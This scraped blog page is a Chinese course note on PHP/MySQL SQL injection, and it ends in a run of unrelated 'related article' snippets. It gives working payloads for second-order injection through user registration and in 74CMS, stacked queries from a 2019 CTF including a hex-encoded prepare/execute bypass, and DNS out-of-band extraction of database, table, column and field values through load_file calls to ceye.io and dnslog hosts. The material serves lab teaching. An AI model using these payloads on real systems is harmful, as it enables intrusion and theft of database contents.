045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
#知识点:
1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件
演示案例:
➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

#PHP-MYSQL-二次注入-DEMO&74CMS
黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块(源代码去审)
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)
1、DEMO-用户注册登录修改密码(使用报错回显)


-
注册新用户时,将注入的内容包含在注册的用户名后:
admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#** -
成功注入,并查看数据库,数据库中也存放了响应的注入语句
-
正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号






需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes)


-
在注册用户逻辑中,首先使用
addslashes转义函数解析POST请求中的username, -
在后方插入新用户记录的时候,执行的SQL语句则会变为
INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456')给username中的单引号添加转义字符\ -
在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入
-
如果不使用,转义函数,则会出现报错
- 报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列


-
addslashes是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。string addslashes ( string $str ) //参数:`$str` 是要进行转义的字符串。 //返回值:返回转义后的字符串。返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- 零
-
magic_quotes_gpc是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。具体作用如下:
- 自动转义: 当
magic_quotes_gpc启用时,PHP 会在从GET、POST和COOKIE中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号'被转义为\\'。
示例:
// 假设 magic_quotes_gpc 已启用$user_input = "It's a sample input"; // $user_input 变量包含 "It\\'s a sample input"// 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义 - 自动转义: 当
2、CMS-74CMS个人中心简历功能
- 配置并打开网址
- 前端对专业名称有长度限制,选中打开检查修改maxlength="120”值
- 在学校名称和专业名称注入:
aa','fullname'=user()# - 分析源码







#PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等
-
首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句,
# **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1 # 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列** SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255)); -
由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行


-
但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**
-
所以不能识别执行,会报错


-
-
但是当php采用
mysqli_multi_query函数接收并执行sql语句的时候- 可以识别执行



1.目标存在SQL注入漏洞:
2.目标未对";"号进行过滤:
目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。
3.目标中间层查询数据库信息时可同时执行多条SQL语句:
在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时
2019强网杯-随便注(CTF题型)
';show databases;
';show tables;
';show columns from1919810931114514;
';select flag from1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
-
';show databases;- 这似乎是尝试显示数据库
-
';show tables;- 类似于第一个,似乎是尝试显示表。
-
';show columns from 1919810931114514;- 另一次尝试从具有特定名称的表中显示列。
-
';select flag from 1919810931114514;- 类似于前一个,试图从表中选择名为’flag’的列。确保表和列存在。
-
由于提示不能使用select等,所以使用动态SQL语句,
- 将想要执行的语句,转换为Hex(16 进制)


-
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;execsql from @a;execute execsql;- 在第一个步骤中,使用**
execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串,可能代表一个SQL查询语句。** - 在第二个步骤中,使用**
execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的execsql**生成。
- 在第一个步骤中,使用**
- 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心,因为它可能存在安全风险。确保**
@a**的内容是安全且经过正确清理的。
#PHP-MYSQL-带外注入-DEMO&DNSLOG
产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据
0.注入条件:
-
ROOT高权限且支持load_file()
-
**secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中
-
G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

secure_file_priv是 MySQL 数据库中的一个系统变量,用于限制使用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。- 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
- 如果没有设置,MySQL 将默认使用空值,表示禁用
LOAD DATA INFILE和SELECT ... INTO OUTFILE。
- 例如,如果
secure_file_priv被设置为f:\\,那么在执行LOAD DATA INFILE或SELECT ... INTO OUTFILE时,只允许读写位于f:\\目录下的文件。
-
如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6

1.使用平台
http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可
http://www.dnslog.cn


2.带外应用场景:
解决**不回显,反向连接,SQL注入,命令执行,SSRF等**
-
SQL注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); **and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))** -
查询当前数据库

id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt")) -
查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) """ 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 **limit 0,1 查询第一个数据库名 limit 1,1 查询第二个数据库名** limit 2,1 查询第三个数据库名 """
-
查询版本号

id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) -
查询当前数据库dome01中第一个表名

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt")) """ 由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数 **limit 0,1 查询第一个表名 limit 1,1 查询第二个表名** limit 2,1 查询第三个表名 """ -
查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
-
查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
#CMS-74CMS网址配置






相关文章:
045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件 #知识点: 1、PHP-MYSQL-SQL注入-二次注入&利用条件 2、PHP-MYSQL-SQL注入-堆叠注入&利用条件 3、PHP-MYSQL-SQL注入-带外注入&利用条件 演示案例:…...
【蓝牙协议栈】【BR/EDR】【AVRCP】蓝牙音视频远程控制协议
1. AVRCP概念 AVRCP(Audio/Video Remote Control Profile):音视频远程控制协议定义了蓝牙设备和 audio/video控制功能通信的特点和过程,另用于远程控制音视频设备,底层传输基于 AVCTP(音视频控制传输协议)。 ➢该 Profile定义了AV/C数字命令控制集。命令和信息通过 AVCT…...
Head First Design Patterns - 单例模式
什么是单例模式 单例模式确保应用中,一个类最多只有一个实例单例模式也提供访问此实例的全局访问点单例模式实现中,使用了一个私有构造器,一个静态方法以及一个静态变量 为什么要用单例模式 java中静态全局变量也能做到被实例化一次 但是…...
Mysql的备份还原
模拟环境准备 创建一个名为school的数据库,创建一个名为Stuent的学生信息表 mysql> create database school; Query OK, 1 row affected (0.00 sec)mysql> use school; Database changed mysql> CREATE TABLE Student (-> Sno int(10) NOT NULL COMME…...
分区表介绍
问题 单表数据量过大,查询的性能通常会变得很低 查询时磁盘的IO次数增加:MySQL的InnoDB引擎使用B树维护索引,一个典型的索引节点大概可以存储60-120个数据记录,一个三层的索引大概可以存储百万条数据。如果订单表增加一个数量级…...
emacs 源码分析(七)
文章目录 emacs源码分析(七)自己动手把emacs的DEFUN宏抠出来 <2024-01-07 周日> emacs源码分析(七) 这DEFUN宏就像胶水一样,它把c代码和emacs-lisp代码给联系起来。但是DEFUN宏看着怪恐怖的有没有!…...
Linux运维-Web服务器的配置与管理(Apache+tomcat)(没成功,最后有失败经验)
Web服务器的配置与管理(Apachetomcat) 项目场景 公司业务经过长期发展,有了很大突破,已经实现盈利,现公司要求加强技术架构应用功能和安全性以及开始向企业应用、移动APP等领域延伸,此时原来开发web服务的php语言已经不适应新的…...
探讨分布式数据库ID生成解决方案
在技术面试中,面试官通常通过挑战应聘者的分布式系统知识来评估其能力。今天,让我们模拟一场面试现场,深入了解关于分布式数据库ID生成的解决方案。 面试官:嘿,小伙子,分布式数据库ID生成解决方案了解吗&a…...
Clickhouse填坑记4:Too many parts问题分析
Clickhouse在进行大数据量同步时,感觉很爽,插入速度非常快,但是,在使用过程中却出现了几次“Too many parts”异常报错,搞得很痛苦,这里记录一下解决过程。 我这边采用的是Flink程序,实时将数据写入ClickHouse,在执行一段时间后,会提示“Too many parts”异常,如下异…...
CertiK CSO Dr. Kang Li 确认出席Hack .Summit() 香港区块链盛会
CertiK CSO Dr. Kang Li 确认将出席由 Hack VC 主办,并由 AltLayer 和 Berachain 联合主办,与 SNZ 和数码港合作,由 Techub News 承办的Hack.Summit() 2024区块链开发者盛会。 Dr. Kang Li 目前担任CertiK首席安全官。他是清华蓝莲花战队启蒙…...
C++ 游戏飞机大战, 字符型的
//#define _CRT_SECURE_NO_WARNINGS 1 用于禁止不安全函数的警告 #include<iostream> #include<stdlib.h> #include<string> #include<conio.h> #include<Windows.h> #include<time.h> #include <graphics.h> using namespace std;…...
用html编写的简易新闻页面
用html编写的简易新闻页面 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document<…...
docker-mysql:5.7安装
1、下载mysql:5.7镜像 [rootlocalhost ~]# docker search mysql (某个XXX镜像名字) [rootlocalhost ~]# docker pull mysql:5.7 按装之前查看一下是否按装过mysql。如果安装过会占用3306端口。 [rootlocalhost ~]# ps -ef | grep mysql 2、简单的安装 [rootlocalhost ~]# d…...
SQLPro Studio:数据库管理的革命性工具 mac版
SQLPro Studio是一款强大的数据库管理和开发工具,它旨在提供高效、便捷和安全的数据库操作体验。无论是数据库管理员、开发人员还是数据分析师,SQLPro Studio都能满足他们在数据库管理、查询、设计和维护方面的需求。 SQLPro Studio mac版软件获取 首先…...
【小沐学QT】QT学习之OpenGL开发笔记
文章目录 1、简介2、Qt QOpenGLWidget gl函数3、Qt QOpenGLWidget qt函数4、Qt QOpenGLWindow5、Qt glut6、Qt glfw结语 1、简介 Qt提供了与OpenGL实现集成的支持,使开发人员有机会在更传统的用户界面的同时显示硬件加速的3D图形。 Qt有两种主要的UI开发方…...
kali安装ARL灯塔(docker)
1、root身份进入容器 ┌──(root㉿Kali)-[~/桌面] └─# su root ┌──(root㉿Kali)-[~/桌面] └─# docker 2、先更新再克隆 ┌──(root㉿Kali)-[~/桌面] └─# apt-get update …...
字节面试分享,请详细介绍为何Http Post发送两次请求
在浏览器中,内容是很开放的,任何资源都可以接入其中,如 JavaScript 文件、图片、音频、视频等资源,甚至可以下载其他站点的可执行文件。 但也不是说浏览器就是完全自由的,如果不加以控制,就会出现一些不可…...
Flink CDC 3.0 Starrocks建表失败会导致任务卡主!
Flink CDC 3.0 Starrocks建表失败会导致任务卡主! 现象 StarRocks建表失败,然后任务自动重启,重启完毕后数据回放,jobMaster打印下面日志后,整个任务会卡主 There are already processing requests. Wait for proce…...
基于 LVGL 使用 SquareLine Studio 快速设计 UI 界面
目录 简介注册与软件获取工程配置设计 UI导出源码板级验证更多内容 简介 SquareLine Studio 是一款专业的 UI 设计软件,它与 LVGL(Light and Versatile Graphics Library,轻量级通用图形库)紧密集成。LVGL 是一个轻量化的、开源的…...
Selenium IDE插件录制网页,解放双手
1、 国内下载地址 https://www.crx4chrome.com/crx/77585/ ,这个网络正常基本可以下载,目前最新版本是3.17.2。 点击Crx4Chrome下载。下载后的文件名称是:mooikfkahbdckldjjndioackbalphokd-3.17.2-Crx4Chrome.com.crx。 2、 安装 直接打开…...
如何处理SQL存储过程编码格式_检查数据库默认排序规则
SQL Server存储过程中文乱码主因是排序规则不匹配而非字符集问题,需逐层检查数据库、表列、字符串字面量(须加N前缀)、动态SQL及客户端驱动是否统一支持Unicode或UTF-8排序规则。SQL Server 存储过程中中文乱码,大概率是排序规则不…...
告别串口助手!用SecureCRT的YMODEM协议给GD32F303升级固件(附完整Boot源码)
嵌入式固件升级实战:SecureCRTYMODEM实现GD32F303无痛更新 在嵌入式开发中,固件升级是个绕不开的坎。传统串口助手虽然简单,但面对复杂的生产环境和频繁的迭代需求,就显得力不从心了。SecureCRT作为一款专业终端工具,其…...
从AlexNet到ChannelNets:图解Channel-Wise卷积如何解决通道信息隔离这个老大难问题
从AlexNet到ChannelNets:通道信息交互的进化之路 卷积神经网络(CNN)的发展史,本质上是一部如何高效处理通道间信息交互的探索史。早期的AlexNet像两条平行铁轨,组卷积间的通道老死不相往来;MobileNet用1x1卷…...
Qianfan-OCR办公提效:替代Adobe Acrobat的本地化智能文档解析方案
Qianfan-OCR办公提效:替代Adobe Acrobat的本地化智能文档解析方案 1. 为什么需要新一代文档解析工具 在日常办公和学术研究中,我们经常需要处理各种文档格式转换和内容提取任务。传统工具如Adobe Acrobat虽然功能强大,但存在几个明显痛点&a…...
FPGA与OpenMAX协同加速嵌入式多媒体系统
1. FPGA与OpenMAX在嵌入式多媒体系统中的协同加速架构在实时视频处理、医疗影像分析等嵌入式多媒体应用场景中,系统需要在严格的时间窗口内完成海量数据计算。传统CPU架构往往难以满足这类场景的实时性要求,而专用硬件加速方案则面临开发周期长、灵活性差…...
别再为相位差发愁了!手把手教你用STM32F103的ADC1和ADC3实现精准同步采样
STM32多ADC同步采样实战:相位测量精度提升指南 在电机控制、电力监测或音频处理领域,工程师们经常需要面对一个棘手问题——当两路信号存在相位差时,传统轮流采样方式会导致相位信息失真。去年参与某变频器项目时,我们就曾因电流电…...
终极窗口控制指南:如何用WindowResizer轻松管理任意窗口尺寸
终极窗口控制指南:如何用WindowResizer轻松管理任意窗口尺寸 【免费下载链接】WindowResizer 一个可以强制调整应用程序窗口大小的工具 项目地址: https://gitcode.com/gh_mirrors/wi/WindowResizer 还在为那些无法调整大小的Windows应用程序窗口而烦恼吗&am…...
GLM-4-9B-Chat-1M快速体验:vLLM部署+Chainlit调用,零代码搭建AI对话平台
GLM-4-9B-Chat-1M快速体验:vLLM部署Chainlit调用,零代码搭建AI对话平台 1. 模型简介 GLM-4-9B-Chat-1M是智谱AI推出的最新一代开源对话模型,支持高达1M(约200万中文字符)的上下文长度。这个版本在语义理解、数学推理…...
【紫光同创国产FPGA实战】——PDS开发环境一站式部署与避坑指南
1. 紫光同创PDS开发环境全景解读 第一次接触紫光同创FPGA开发套件时,我和大多数初学者一样,被各种专业术语和复杂的安装步骤搞得晕头转向。经过多个项目的实战积累,我发现其实只要掌握几个关键环节,就能轻松搭建起完整的开发环境。…...
告别libpng!用这个轻量级C库lodepng,5分钟搞定PNG图片解码(附完整代码)
轻量级PNG解码实战:5分钟用lodepng替代libpng的完整指南 在嵌入式开发和资源受限环境中,处理PNG图像一直是个令人头疼的问题。传统方案如libpng虽然功能强大,但动辄几百KB的库体积和复杂的API让许多开发者望而却步。我曾在一个物联网门禁项目…...
